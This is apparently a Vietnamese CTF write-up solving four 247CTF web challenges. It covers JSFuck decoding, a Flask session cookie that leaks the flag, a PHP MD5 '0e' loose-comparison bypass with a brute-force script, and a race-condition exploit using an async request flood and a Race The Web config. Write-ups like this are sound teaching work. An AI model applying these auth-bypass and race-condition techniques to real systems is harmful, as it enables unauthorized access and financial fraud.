247CTF là một nền tảng học tập Capture The Flag (CTF), chứa một số thử thách về các mảng như web, crypto, pwn, reverse, …
Dưới đây là một số thử thách thuộc mảng web đến từ trang này.
TRUSTED CLIENT
Developers don’t always have time to setup a backend service when prototyping code. Storing credentials on the client side should be fine as long as it’s obfuscated right?
Truy cập trang web chúng ta thấy được 1 form login
Check source code của trang. Ta thấy một đoạn js khá thú vị gồm vài kí tự lặp đi lặp lại nhìn rất lạ.
Nếu bạn chưa biết thì đây là jsfuck. Cái tên nghe rất là wtf nhỉ =)))
Các tool decode jsfuck này khá nhiều. Ở đây mình dùng tool này nhớ sửa version sang v0.4.0
nhé
SECURED SESSION
If you can guess our random secret key, we will tell you the flag securely stored in your session.
Source code:
import osfrom flask import Flask, request, sessionfrom flag import flag
app = Flask(__name__)app.config['SECRET_KEY'] = os.urandom(24)
def secret_key_to_int(s): try: secret_key = int(s) except ValueError: secret_key = 0 return secret_key
@app.route("/flag")def index(): secret_key = secret_key_to_int(request.args['secret_key']) if 'secret_key' in request.args else None session['flag'] = flag if secret_key == app.config['SECRET_KEY']: return session['flag'] else: return "Incorrect secret key!"
@app.route('/')def source(): return "%s" % open(__file__).read()
if __name__ == "__main__": app.run()
Truy cập vào /flag
thì server sẽ thực hiện lần lượt như sau:
-
Kiểm tra xem
secret_key
có trong session hay không.-
Nếu có thì truyền giá trị của
secret_key
vào hàmsecret_key_to_int
. Hàm này sẽ chuyển giá trị củasecret_key
sang int nếu cóValueError
thì sẽ set giá trị bằng0
-
Nếu không thì return None
-
-
Set giá trị của
flag
trong session bằng chính flag thật -
Kiểm tra xem
secret_key
thu được ở trên xem có đúng bằng vớisecret_key
trong app config không. Như vậy dùsecret_key
có đúng hay sai thì khi truy cập/flag
thì chúng ta đều có được flag thật lưu trong session cookie
Cookie mình thu được:
Cookie này được chia làm 3 phần ngăn cách nhau bởi dấu . Phần đầu được encode base64. Decode phần này ta thu được
Yap. Lại là base64. Decode chuỗi này chúng ta có được flag
COMPARE THE PAIR
Can you identify a way to bypass our login logic? MD5 is supposed to be a one-way function right? Source code sẽ xuất hiện ngay khi truy cập site
<?php require_once('flag.php'); $password_hash = "0e902564435691274142490923013038"; $salt = "f789bbc328a3d1a3"; if(isset($_GET['password']) && md5($salt . $_GET['password']) == $password_hash){ echo $flag; } echo highlight_file(__FILE__, true);?>
Trong php
có 2 kiểu so sánh:
-
==
là Loose comparisons -
===
là Strict comparisons Xem 2 bảng dưới đây để hiểu thêm:
Ở đây php sẽ coi những chuỗi bắt đầu bằng 0e Ví dụ như 0e123 thành 0 mũ 123 tương đương với 0
-> chỉ cần tìm 1 giá trị password
nào đó sao cho giá trị sau khi hash md5 của chuỗi f789bbc328a3d1a3xxxxxxxx
có 2 kí tự đầu tiên là 0e
và các kí tự sau là số thì sẽ bypass được logic check này. Dễ hơn so với việc phải tìm đúng password đúng không =))))))
Lý do ở đây lại là chuỗi f789bbc328a3d1a3xxxxxxxx
vì ở source code có md5($salt . $_GET['password']) == $password_hash)
trong đó $salt . $_GET['password']
tương tự như salt + password
trong python vậy, nó sẽ ghép 2 chuỗi này lại với nhau.
md5
là hàm hash 1 chiều không thể reverse được nên để tìm được chuỗi xxxxxx này chúng ta có thể sử dụng đoạn code sau để mò (chậm nhưng vẫn nhanh hơn tìm ra chính xác password)
from hashlib import md5import time
start_time = time.time()salt = "f789bbc328a3d1a3"
for i in range(100000000000000): tmp = salt + str(i) tmp_hash = md5(tmp.encode()).hexdigest() if tmp_hash[0:2] == "0e" and tmp_hash[2::].isdigit(): print(i) print(tmp) print(tmp_hash) print("Run time: ", time.time() - start_time) break
Chạy đoạn code trên thu được giá trị password cần tìm chính là i
Truy cập vào /?password=<i>
ta có được flag:
ACID FLAG BANK
You can purchase a flag directly from the ACID flag bank, however there aren’t enough funds in the entire bank to complete that transaction! Can you identify any vulnerabilities within the ACID flag bank which enable you to increase the total available funds?
Source code:
<?phprequire_once('flag.php');
class ChallDB{ public function __construct($flag) { $this->pdo = new SQLite3('/tmp/users.db'); $this->flag = $flag; }
public function updateFunds($id, $funds) { $stmt = $this->pdo->prepare('update users set funds = :funds where id = :id'); $stmt->bindValue(':id', $id, SQLITE3_INTEGER); $stmt->bindValue(':funds', $funds, SQLITE3_INTEGER); return $stmt->execute(); }
public function resetFunds() { $this->updateFunds(1, 247); $this->updateFunds(2, 0); return "Funds updated!"; }
public function getFunds($id) { $stmt = $this->pdo->prepare('select funds from users where id = :id'); $stmt->bindValue(':id', $id, SQLITE3_INTEGER); $result = $stmt->execute(); return $result->fetchArray(SQLITE3_ASSOC)['funds']; }
public function validUser($id) { $stmt = $this->pdo->prepare('select count(*) as valid from users where id = :id'); $stmt->bindValue(':id', $id, SQLITE3_INTEGER); $result = $stmt->execute(); $row = $result->fetchArray(SQLITE3_ASSOC); return $row['valid'] == true; }
public function dumpUsers() { $result = $this->pdo->query("select id, funds from users"); echo "<pre>"; echo "ID FUNDS\n"; while ($row = $result->fetchArray(SQLITE3_ASSOC)) { echo "{$row['id']} {$row['funds']}\n"; } echo "</pre>"; }
public function buyFlag($id) { if ($this->validUser($id) && $this->getFunds($id) > 247) { return $this->flag; } else { return "Insufficient funds!"; } }
public function clean($x) { return round((int)trim($x)); }}
$db = new challDB($flag);if (isset($_GET['dump'])) { $db->dumpUsers();} elseif (isset($_GET['reset'])) { echo $db->resetFunds();} elseif (isset($_GET['flag'], $_GET['from'])) { $from = $db->clean($_GET['from']); echo $db->buyFlag($from);} elseif (isset($_GET['to'],$_GET['from'],$_GET['amount'])) { $to = $db->clean($_GET['to']); $from = $db->clean($_GET['from']); $amount = $db->clean($_GET['amount']); if ($to !== $from && $amount > 0 && $amount <= 247 && $db->validUser($to) && $db->validUser($from) && $db->getFunds($from) >= $amount) { $db->updateFunds($from, $db->getFunds($from) - $amount); $db->updateFunds($to, $db->getFunds($to) + $amount); echo "Funds transferred!"; } else { echo "Invalid transfer request!"; }} else { echo highlight_file(__FILE__, true);}
Cùng phân tích source nhé.
Đầu tiên là class ChallDB class này cung cấp các method để quản lý database của chall này.
Các method trong class:
-
updateFunds($id, $funds)
: Update số tiền của user có id được cung cấp thành số tiền được cung cấp -
resetFunds()
: Reset số tiền của toàn bộ user về mặc định -
getFunds($id)
: Lấy số tiền của user có id được cấp -
validUser($id)
: Kiểm tra xem có user với id được cấp có tồn tại hay không -
dumpUsers()
: Hiển trị ra id và số tiền tương ứng của các user -
buyFlag($id)
: Kiểm tra xem user với id được cấp có đủ tiền hay không. Nếu có trả về flag, nếu không trả về “Insufficient funds!” -
clean($x)
: Loại bỏ khoảng trắng của chuỗi x và chuyển thành int Cách sever hoạt động: -
Nếu GET request có tham số
dump
->dumpUsers()
-
Nếu GET request có tham số
reset
->resetFunds()
-
Nếu GET request có tham số
flag
vàfrom
->buyFlag($id)
với id được lấy từ tham số from -
Nếu GET request có tham số
to
,from
vàamount
-> chuyển số tiền có giá trị bằng với amount từ user có id lấy từ tham số to cho user có id từ tham số from
Và mô tả của chall có nói Can you identify any vulnerabilities within the ACID flag bank which enable you to increase the total available funds? 247CTF cũng cung cấp cho chúng ta một video rất hữu dụng về một lỗ hổng gọi là race condition
Về chi tiết các bạn có thể xem video để hiểu rõ hơn. Ở đây mình sẽ tóm gọn lại cho sát với chal này. Mục đích của chúng ta là đủ tiền để mua flag có giá >247. Có 2 user được cấp sẵn với 1 user có đúng 247 trong tài khoản còn user còn lại không có gì. Vậy để tăng được số tiền cho 1 trong 2 user chúng ta có thể lợi dụng khoảng thời gian lúc server đang thực hiện lệnh chuyển tiền lần 1 để yêu cầu chuyển thêm một lần nữa.
Ví dụ nếu thực hiện chuyển từ user 1 sang 2 với số tiền 200, thì lần tiếp theo sẽ không thể chuyển quá số tiền là 47 từ 1 sang 2 được nữa NẾU THỰC HIỆN TUẦN TỰ. Nhưng khi mình yêu cầu chuyển thêm số tiền 200 trong lúc server chưa trừ tiền của user 1 thì sao?. Yap! chúng ta sẽ làm số tiền của user 2 tăng lên vượt quá con số 247. Đây chính là race condition.
Vậy thực hiện nó như thế nào. Tra google 1 lúc thì mình tìm ra được 2 cách.
Cách 1: sử dụng 1 đoạn code python mà mình lấy được lại hacktricks ở đây
import asyncioimport httpx
async def use_code(client): resp = await client.get('https://<your-url>.247ctf.com/?to=2&from=1&amount=200') return resp.text
async def main(): async with httpx.AsyncClient() as client: tasks = [] for _ in range(20): #20 times tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results for r in results: print(r)
# Async2sync sleep await asyncio.sleep(0)
asyncio.run(main())
Chạy đoạn code trên, reset fund vài lần cho tới khi có được output dạng
Funds transferred!Invalid transfer request!Funds transferred!Invalid transfer request!Invalid transfer request!
Invalid transfer request!Invalid transfer request!Funds transferred!
Invalid transfer request!
Invalid transfer request!Invalid transfer request!Invalid transfer request!Invalid transfer request!Invalid transfer request!Invalid transfer request!Invalid transfer request!
Như các bạn đấy thông báo “Funds transferred!” xuất hiện tận 3 lần chứng tỏ mình đã thành công. Nhưng khi check fund thì thấy user 2 có mỗi 400 =))) Kệ vẫn thành công là được =))
Cách 2: Có 1 tool có tên là Race The Web (RTW) sẽ giúp chúng ta làm điều này.
Các bạn có thể đọc thêm ở github của tool. Mình chạy file bin được compile sẵn với file config.toml
như sau:
count = 100proxy = "http://127.0.0.1:8080"
[[requests]] method = "GET" url = "https://<your-url>.247ctf.com/?to=2&from=1&amount=200"
Cũng vẫn phải reset fund vài lần thì mình cũng có user 2 có nhiều hơn 247.
Để lấy flag chỉ cần gửi get request bằng cách truy cập https://<your-url>.
247ctf.com/?flag&from=2